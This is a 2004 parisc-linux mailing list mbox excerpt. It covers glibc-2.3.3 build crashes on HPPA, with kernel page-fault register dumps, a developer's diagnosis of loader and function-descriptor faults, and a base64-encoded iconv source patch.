dGVyLiAgKi8JCQkgICAgICBcCi0JICAgICAgKigodWludDMyX3QgKikgb3V0YnVmKSsrID0gZGF0
YS0+X19zdGF0ZXAtPl9fY291bnQgPj4gMzsJICAgICAgXAorCSAgICAgIHVpbnQzMl90ICpvdXRw
dHIzMiA9ICh1aW50MzJfdCAqKSBvdXRidWY7CQkJICAgICAgXAorCSAgICAgICpvdXRwdHIzMisr
ID0gZGF0YS0+X19zdGF0ZXAtPl9fY291bnQgPj4gMzsJCSAgICAgIFwKKwkgICAgICBvdXRidWYg
PSAodW5zaWduZWQgY2hhciAqKSBvdXRwdHIzMjsJCQkgICAgICBcCiAJICAgICAgZGF0YS0+X19z
dGF0ZXAtPl9fY291bnQgPSAwOwkJCQkgICAgICBcCiAJICAgIH0JCQkJCQkJCSAgICAgIFwKIAkg
IGVsc2UJCQkJCQkJCSAgICAgIFwKLS0tIGdsaWJjL2ljb252ZGF0YS9pc28tMjAyMi1jbi1leHQu
Yy5vcmlnCTIwMDQtMDItMTggMTE6MTM6NDguMDAwMDAwMDAwICswMTAwCisrKyBnbGliYy9pY29u
dmRhdGEvaXNvLTIwMjItY24tZXh0LmMJMjAwNC0wMi0xOCAxMToyMTo1Ni41MTE2NzEwMzIgKzAx
MDAKQEAgLTE3MSw2ICsxNzEsNyBAQAogI2RlZmluZSBCT0RZIFwKICAgewkJCQkJCQkJCSAgICAg
IFwKICAgICB1aW50MzJfdCBjaCA9ICppbnB0cjsJCQkJCQkgICAgICBcCisgICAgdWludDMyX3Qg
Km91dHB0cjMyID0gKHVpbnQzMl90ICopIG91dHB0cjsJCQkJICAgICAgXAogCQkJCQkJCQkJICAg
ICAgXAogICAgIC8qIFRoaXMgaXMgYSA3Yml0IGNoYXJhY3RlciBzZXQsIGRpc2FsbG93IGFsbCA4
Yml0IGNoYXJhY3RlcnMuICAqLwkgICAgICBcCiAgICAgaWYgKGNoID4gMHg3ZikJCQkJCQkJICAg
ICAgXApAQCAtMzc3LDcgKzM3OCw4IEBACiAJICB9CQkJCQkJCQkgICAgICBcCiAgICAgICB9CQkJ
CQkJCQkJICAgICAgXAogCQkJCQkJCQkJICAgICAgXAotICAgICooKHVpbnQzMl90ICopIG91dHB0
cikrKyA9IGNoOwkJCQkJICAgICAgXAorICAgICpvdXRwdHIzMisrID0gY2g7CQkJCQkJCSAgICAg
IFwKKyAgICBvdXRwdHIgPSAodW5zaWduZWQgY2hhciAqKSBvdXRwdHIzMjsJCQkJICAgICAgXAog
ICB9CiAjZGVmaW5lIEVYVFJBX0xPT1BfREVDTFMJLCBpbnQgKnNldHAKICNkZWZpbmUgSU5JVF9Q
QVJBTVMJCWludCBzZXQgPSAoKnNldHAgPj4gMykgJiBDVVJSRU5UX01BU0s7IFwKLS0tIGdsaWJj
L2ljb252ZGF0YS9zaGlmdF9qaXN4MDIxMy5jLm9yaWcJMjAwNC0wMi0xOCAxMjoxNToyMS45NTMz
Njk4MjQgKzAxMDAKKysrIGdsaWJjL2ljb252ZGF0YS9zaGlmdF9qaXN4MDIxMy5jCTIwMDQtMDIt
MTggMTI6MTY6MzAuMTI3MDA1ODU2ICswMTAwCkBAIC04Myw3ICs4Myw5IEBACiAJICBpZiAoX19i
dWlsdGluX2V4cGVjdCAob3V0YnVmICsgNCA8PSBvdXRlbmQsIDEpKQkJICAgICAgXAogCSAgICB7
CQkJCQkJCQkgICAgICBcCiAJICAgICAgLyogV3JpdGUgb3V0IHRoZSBsYXN0IGNoYXJhY3Rlci4g
ICovCQkJICAgICAgXAotCSAgICAgICooKHVpbnQzMl90ICopIG91dGJ1ZikrKyA9IGRhdGEtPl9f
c3RhdGVwLT5fX2NvdW50ID4+IDM7CSAgICAgIFwKKwkgICAgICB1aW50MzJfdCAqb3V0cHRyMzIg
PSAodWludDMyX3QgKikgb3V0YnVmOwkJCSAgICAgIFwKKwkgICAgICAqb3V0cHRyMzIrKyA9IGRh
dGEtPl9fc3RhdGVwLT5fX2NvdW50ID4+IDM7CQkgICAgICBcCisJICAgICAgb3V0YnVmID0gKHVu
c2lnbmVkIGNoYXIgKikgb3V0cHRyMzI7CQkJICAgICAgXAogCSAgICAgIGRhdGEtPl9fc3RhdGVw
LT5fX2NvdW50ID0gMDsJCQkJICAgICAgXAogCSAgICB9CQkJCQkJCQkgICAgICBcCiAJICBlbHNl
CQkJCQkJCQkgICAgICBcCi0tLSBnbGliYy9pY29udmRhdGEvdGN2bjU3MTItMS5jLm9yaWcJMjAw
NC0wMi0xOCAxMToxODoyMi4wMjcyNzc2MTYgKzAxMDAKKysrIGdsaWJjL2ljb252ZGF0YS90Y3Zu
NTcxMi0xLmMJMjAwNC0wMi0xOCAxMTo1NDoxNy41Mjc1OTE3NjAgKzAxMDAKQEAgLTY4LDcgKzY4
LDkgQEAKIAkgIGlmIChfX2J1aWx0aW5fZXhwZWN0IChvdXRidWYgKyA0IDw9IG91dGVuZCwgMSkp
CQkgICAgICBcCiAJICAgIHsJCQkJCQkJCSAgICAgIFwKIAkgICAgICAvKiBXcml0ZSBvdXQgdGhl
IGxhc3QgY2hhcmFjdGVyLiAgKi8JCQkgICAgICBcCi0JICAgICAgKigodWludDMyX3QgKikgb3V0
YnVmKSsrID0gZGF0YS0+X19zdGF0ZXAtPl9fY291bnQgPj4gMzsJICAgICAgXAorCSAgICAgIHVp
bnQzMl90ICpvdXRwdHIzMiA9ICh1aW50MzJfdCAqKSBvdXRidWY7CQkJICAgICAgXAorCSAgICAg
ICpvdXRwdHIzMisrID0gZGF0YS0+X19zdGF0ZXAtPl9fY291bnQgPj4gMzsJCSAgICAgIFwKKwkg
ICAgICBvdXRidWYgPSAodW5zaWduZWQgY2hhciAqKSBvdXRwdHIzMjsJCQkgICAgICBcCiAJICAg
ICAgZGF0YS0+X19zdGF0ZXAtPl9fY291bnQgPSAwOwkJCQkgICAgICBcCiAJICAgIH0JCQkJCQkJ
CSAgICAgIFwKIAkgIGVsc2UJCQkJCQkJCSAgICAgIFwKLS0tIGdsaWJjL2ljb252ZGF0YS90c2Np
aS5jLm9yaWcJMjAwNC0wMi0xOCAxMjoyMzozNy4yODkwNjczNTIgKzAxMDAKKysrIGdsaWJjL2lj
b252ZGF0YS90c2NpaS5jCTIwMDQtMDItMTggMTI6MjQ6MjUuNDE3NzUwNjgwICswMTAwCkBAIC05
OCw3ICs5OCw5IEBACiAJCSAgYnJlYWs7CQkJCQkJICAgICAgXAogCQl9CQkJCQkJCSAgICAgIFwK
IAkgICAgICAvKiBXcml0ZSBvdXQgdGhlIHBlbmRpbmcgY2hhcmFjdGVyLiAgKi8JCQkgICAgICBc
Ci0JICAgICAgKigodWludDMyX3QgKikgb3V0YnVmKSsrID0gZGF0YS0+X19zdGF0ZXAtPl9fY291
bnQgPj4gODsJICAgICAgXAorCSAgICAgIHVpbnQzMl90ICpvdXRwdHIzMiA9ICh1aW50
MzJfdCAqKSBvdXRidWY7CQkJICAgICAgXAorCSAgICAgICpvdXRwdHIzMisrID0gZGF0YS0+X19z
dGF0ZXAtPl9fY291bnQgPj4gODsJCSAgICAgIFwKKwkgICAgICBvdXRidWYgPSAodW5zaWduZWQg
Y2hhciAqKSBvdXRwdHIzMjsJCQkgICAgICBcCiAJICAgICAgLyogUmV0cmlldmUgdGhlIHN1Y2Nl
c3NvciBzdGF0ZS4gICovCQkJICAgICAgXAogCSAgICAgIGRhdGEtPl9fc3RhdGVwLT5fX2NvdW50
ID0JCQkJCSAgICAgIFwKIAkJdHNjaWlfbmV4dF9zdGF0ZVsoZGF0YS0+X19zdGF0ZXAtPl9fY291
bnQgPj4gNCkgJiAweDBmXTsgICAgICBcCg==

--========/402A42A1000052A9/mail.tiscali.be--


From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Elliott Potter <epotter@eep.burdell.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Wed, 18 Feb 2004 08:36:57 -0500 (EST)
Lines: 74
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.44.0402180830260.14838-100000@keymaster>
References: <402A42A1000052A9@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623202 5666 80.91.229.3 (22 Nov 2014 02:26:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:42 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: epotter@eep.burdell.org  Wed Feb 18 06:41:30 2004
Return-Path: <epotter@eep.burdell.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from keymaster (dsl027-162-176.atl1.dsl.speakeasy.net
	[216.27.162.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D8C748B2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 06:41:30 -0700 (MST)
Original-Received: from keymaster (localhost [127.0.0.1])
	by keymaster (8.12.9/8.12.9) with ESMTP id i1IDawiD014852;
	Wed, 18 Feb 2004 08:36:58 -0500 (EST)
Original-Received: from localhost (epotter@localhost)
	by keymaster (8.12.9/8.12.9/Submit) with ESMTP id i1IDavgd014849;
	Wed, 18 Feb 2004 08:36:58 -0500 (EST)
X-Authentication-Warning: keymaster: epotter owned process doing -bs
X-X-Sender: epotter@keymaster
In-Reply-To: <402A42A1000052A9@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 18 Feb 2004 13:41:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20869

On Wed, 18 Feb 2004, Joel Soete wrote:

> Carlos,
> [...]
> But now I need more to try to complete job because:
> make[2]: *** [/Develop/parisc-linux/build/glibc/sunrpc/xbootparam_prot.stmp]
>
> Segmentation fault
>
> And dmesg saying:
>
> do_page_fault() pid=6547 command='ld.so.1' type=15 address=0x0016b690
> vm_start = 0x00033000, vm_end = 0x00034000
>
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000111100001111 Not tainted
> r00-03  0000000000000000 000000004102b6fc 000000004100721f 00000000faf02040
> r04-07  000000004102b6fc 00000000400002b8 00000000faf02158 00000000faf01d8c
> r08-11  0000000040170000 0000000000170e60 000000004016fd98 00000000faf01dc0
> r12-15  0000000040171e60 0000000000000002 00000000faf02128 ffffffffffffffff
> r16-19  00000000faf02180 0000000000000003 0000000000000004 000000004102b6fc
> r20-23  000000004102bd80 0000000000000008 000000000016b690 0000000040000000
> r24-27  000000000016b690 0000000000001e60 0000000000000003 00000000000c97f0
> r28-31  0000000040001000 0000000000000000 00000000faf02180 0000000041013fc7
> sr0-3   0000000000003580 0000000000003580 0000000000000000 0000000000003580
> sr4-7   0000000000003580 0000000000003580 0000000000003580 0000000000003580
>
> IASQ: 0000000000003580 0000000000003580 IAOQ: 0000000041007293 0000000041007297
>  IIR: 0ec01095    ISR: 0000000000003580  IOR: 000000000016b690
>  CPU:        8   CR30: 000000003a038000 CR31: 00000000104a4000
>  ORIG_R28: 0000000040170000
>  IAOQ[0]: 0x41007293
>  IAOQ[1]: 0x41007297
>  RP(r2): 0x4100721f

Interesting -- I'm getting a similar crash in a program when it calls
getopt_long() -- this do_page_fault thing.  I'm wondering if the two are
somehow related because it's only this one program that crashes, and
only on the line where getopt_long() is called.  The output in dmesg:

do_page_fault() pid=30051 command='distmk' type=6 address=0x6bc23fdb
vm_start = 0x401ca000, vm_end = 0x401cb000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 4004ca40 4002c09f bff04040
r04-07  4004d240 000d6f60 bff001b0 bff0018c
r08-11  00000008 00000008 00000001 bff03748
r12-15  000d8470 000ce5c0 00000000 00000000
r16-19  00000000 000b2248 00000004 000007ec
r20-23  4004d238 80000000 6bc23fd9 00000000
r24-27  bff001b0 4004d714 4004cb40 000cfd40
r28-31  000d6762 7efefeff bff040c0 0009cc8b
sr0-3   00001491 00001491 00000000 00001491
sr4-7   00001491 00001491 00001491 00001491

IASQ: 00001491 00001491 IAOQ: 6bc23fdb 6bc23fdf
IIR: 43ffff80    ISR: 00001491  IOR: 401a1a38
CPU:        0   CR30: 4a360000 CR31: 103f0000
 ORIG_R28: 401ca000
 IAOQ[0]: 0x6bc23fdb
 IAOQ[1]: 0x6bc23fdf
 RP(r2): 0x4002c09f


Anyway just a data point.

This is with gcc-3.0.4 and gcc-3.2.3, with kernel 2.4.* and 2.6.2-pa3,
and glibc-2.2.5 (so ... old ...)
--
Elliott




From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Wed, 18 Feb 2004 15:42:39 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <402A42A10000541C@ocpmta1.freegates.net>
References: <Pine.GSO.4.44.0402180830260.14838-100000@keymaster>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623203 5668 80.91.229.3 (22 Nov 2014 02:26:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:43 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: "Elliott Potter" <epotter@eep.burdell.org>
Original-X-From: soete.joel@tiscali.be  Wed Feb 18 07:42:55 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC503489E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 07:42:54 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AtSuN-0002G5-00; Wed, 18 Feb 2004 15:42:39 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 18 Feb 2004 15:42:39 +0100
In-Reply-To: <Pine.GSO.4.44.0402180830260.14838-100000@keymaster>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 18 Feb 2004 14:42:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20870

Hi Elliot,

>Interesting -- I'm getting a similar crash in a program when it calls
>getopt_long() -- this do_page_fault thing.  I'm wondering if the two are
>somehow related because it's only this one program that crashes, and
>only on the line where getopt_long() is called.  The output in dmesg:

For the moment I can just confirm that it's not a kernel pb: I just reboot
a 2.6.3-rc4-pa0 built with gcc-hppa64-3.0.4ds3-8 (a N required a 64bits kernel)
and the same Seg fault occurs.

But in my case, as mentioned sw are still in developement, i suspect more
a mistack in my hack ?)

Cheers,
    Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: PA linux.
Date: Wed, 18 Feb 2004 16:55:06 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <D23E0231-622A-11D8-B017-0030656F07A2@esiee.fr>
References: <20040218095513.XVFQ367.mail@VALHALLA>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v553)
Content-Type: text/plain; charset=WINDOWS-1252; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623203 5671 80.91.229.3 (22 Nov 2014 02:26:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Cenk_KARAG=D6Z?= <cenk.karagoz@enter.com.tr>
Original-X-From: varenet@esiee.fr  Wed Feb 18 08:55:10 2004
Return-Path: <varenet@esiee.fr>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9CD1489E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 08:55:09 -0700 (MST)
Original-Received: from localhost.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id 78D50365939; Wed, 18 Feb 2004 16:55:08 +0100 (CET)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by localhost.esiee.fr (VaMailArmor-2.0.1.16) id 80755-370DA67D;
	Wed, 18 Feb 2004 16:55:08 +0100
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 1D5A4365937; Wed, 18 Feb 2004 16:55:07 +0100 (CET)
In-Reply-To: <20040218095513.XVFQ367.mail@VALHALLA>
X-Mailer: Apple Mail (2.553)
X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.16; VAE: 6.24.0.4;
	VDF: 6.24.0.10; host: mail.esiee.fr)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 18 Feb 2004 15:55:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20871

Do not mail me personnaly please.

CCing the list for archive.

Le mercredi, 18 f=E9v 2004, =E0 10:45 Europe/Paris, Cenk KARAG=D6Z a =
=E9crit :

> I=92m so sory for take your time..
>
> But I have a little bit problem about debian_hppa 30r2=A0
>
> I have a180/c- (A 9000 class) machine..
>
> Everything seems to beok=A0 duringdebian installation and=20
> PALOinstallationseems to be ok..
>
> But.. In the boot time,ISL (by the way ISL vers=E0ISL revision A.00.38=20=

> OCT, 1994) say:
>
> ISL booting hpux

well this is pretty self explanatory... you' re booting HPUX here.
>
> Boot: disk:(8/16/5.6.0.0.0.0.0.0:0)/stand/vmunix
>
> and machine cant boot..
>
> I cant understand,=A0 our disk partitions, and instllation processand=20=

> PALOworkedfine...=A0But I still get hpux and /stand/vmunix messages...
>
> However,=A0 Ihaveboot the system with debian cd=A0 and=A0mount the =
patitions=20
> and work palo in shell.. PALO didnt send any kind error messages..
>
> Should I upgrade ISL version ?Have yougotany idea ?

follow the instructions here to install your box:
http://www.pateam.org/doc.html

and don't forget to format your HD.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/=



From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Wed, 18 Feb 2004 11:39:27 -0500
Lines: 94
Approved: news@gmane.org
Message-ID: <20040218163927.GC9497@baldric.uwo.ca>
References: <402A42A1000052A9@ocpmta1.freegates.net>
	<Pine.GSO.4.44.0402180830260.14838-100000@keymaster>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623203 5675 80.91.229.3 (22 Nov 2014 02:26:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Elliott Potter <epotter@eep.burdell.org>
Original-X-From: carlos@baldric.uwo.ca  Wed Feb 18 09:38:50 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com
	(fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08B3748B5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 09:38:50 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep04-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040218163835.RZBE322971.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Wed, 18 Feb 2004 11:38:35 -0500
Content-Disposition: inline
In-Reply-To: <Pine.GSO.4.44.0402180830260.14838-100000@keymaster>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (95% Sync Ratio [==========])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep04-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Wed,
	18 Feb 2004 11:38:35 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 18 Feb 2004 16:38:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20872

> > But now I need more to try to complete job because:
> > make[2]: *** [/Develop/parisc-linux/build/glibc/sunrpc/xbootparam_prot.stmp]

This is the first time that the loader you built is used. If the loader
is in anyway broke, it will *always* die here first. Just remember this
glibc haiku when you are coding:

	Loader code is bad.
	Dying in sunrpc.
	Blame relocations.

:)

> > do_page_fault() pid=6547 command='ld.so.1' type=15 address=0x0016b690
> > vm_start = 0x00033000, vm_end = 0x00034000
> >
> >      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00000000000001000000111100001111 Not tainted
> > r00-03  0000000000000000 000000004102b6fc 000000004100721f 00000000faf02040
> > r04-07  000000004102b6fc 00000000400002b8 00000000faf02158 00000000faf01d8c
> > r08-11  0000000040170000 0000000000170e60 000000004016fd98 00000000faf01dc0
> > r12-15  0000000040171e60 0000000000000002 00000000faf02128 ffffffffffffffff
> > r16-19  00000000faf02180 0000000000000003 0000000000000004 000000004102b6fc
> > r20-23  000000004102bd80 0000000000000008 000000000016b690 0000000040000000
> > r24-27  000000000016b690 0000000000001e60 0000000000000003 00000000000c97f0
> > r28-31  0000000040001000 0000000000000000 00000000faf02180 0000000041013fc7
> > sr0-3   0000000000003580 0000000000003580 0000000000000000 0000000000003580
> > sr4-7   0000000000003580 0000000000003580 0000000000003580 0000000000003580

Loader died, return address is in the loader or libc. Stack pointer
looks right. PIC register looks correct. If you had a copy of your
/proc/<pid>/maps then you could decipher where 0x4102b6fc pointed.

> > IASQ: 0000000000003580 0000000000003580 IAOQ: 0000000041007293 0000000041007297
> >  IIR: 0ec01095    ISR: 0000000000003580  IOR: 000000000016b690
> >  CPU:        8   CR30: 000000003a038000 CR31: 00000000104a4000
> >  ORIG_R28: 0000000040170000
> >  IAOQ[0]: 0x41007293
> >  IAOQ[1]: 0x41007297
> >  RP(r2): 0x4100721f

Odd, the insns you are executing are really close to your IAOQ
addresses, so the functions are close together.

> Interesting -- I'm getting a similar crash in a program when it calls
> getopt_long() -- this do_page_fault thing.  I'm wondering if the two are
> somehow related because it's only this one program that crashes, and
> only on the line where getopt_long() is called.  The output in dmesg:

No relation. The do_page_fault is an attempt to execute code at an
invalid page. In Joel's case the address is garbage, in your case it's
very very very different.

> do_page_fault() pid=30051 command='distmk' type=6 address=0x6bc23fdb
> vm_start = 0x401ca000, vm_end = 0x401cb000

Your's is a very special failure. The faulting address is actually
an instruction sequence "6bc23fd9 == stw rp,-14(,sp)" Which means that
at some point a *real* address was substituted for a function
descriptor, then dereferenced and jumped into. This *only* used to
happen when running static programs that had static lookup functions. I
can't be certain though without knowing more about your program "distmk."
My guess is that it's a statically compiled binary calling dlopen?

>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111 Not tainted
> r00-03  00000000 4004ca40 4002c09f bff04040
> r04-07  4004d240 000d6f60 bff001b0 bff0018c
> r08-11  00000008 00000008 00000001 bff03748
> r12-15  000d8470 000ce5c0 00000000 00000000
> r16-19  00000000 000b2248 00000004 000007ec
> r20-23  4004d238 80000000 6bc23fd9 00000000
> r24-27  bff001b0 4004d714 4004cb40 000cfd40
> r28-31  000d6762 7efefeff bff040c0 0009cc8b
> sr0-3   00001491 00001491 00000000 00001491
> sr4-7   00001491 00001491 00001491 00001491
> 
> IASQ: 00001491 00001491 IAOQ: 6bc23fdb 6bc23fdf
> IIR: 43ffff80    ISR: 00001491  IOR: 401a1a38
> CPU:        0   CR30: 4a360000 CR31: 103f0000
>  ORIG_R28: 401ca000
>  IAOQ[0]: 0x6bc23fdb
>  IAOQ[1]: 0x6bc23fdf
>  RP(r2): 0x4002c09f
> 
> This is with gcc-3.0.4 and gcc-3.2.3, with kernel 2.4.* and 2.6.2-pa3,
> and glibc-2.2.5 (so ... old ...)

Eeek! Upgrade? I've made so many fixes since then... it's not a very
functioning libc.

c.



From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Wed, 18 Feb 2004 18:25:46 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <402A42A10000569A@ocpmta1.freegates.net>
References: <20040218163927.GC9497@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623204 5680 80.91.229.3 (22 Nov 2014 02:26:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"Elliott Potter" <epotter@eep.burdell.org>
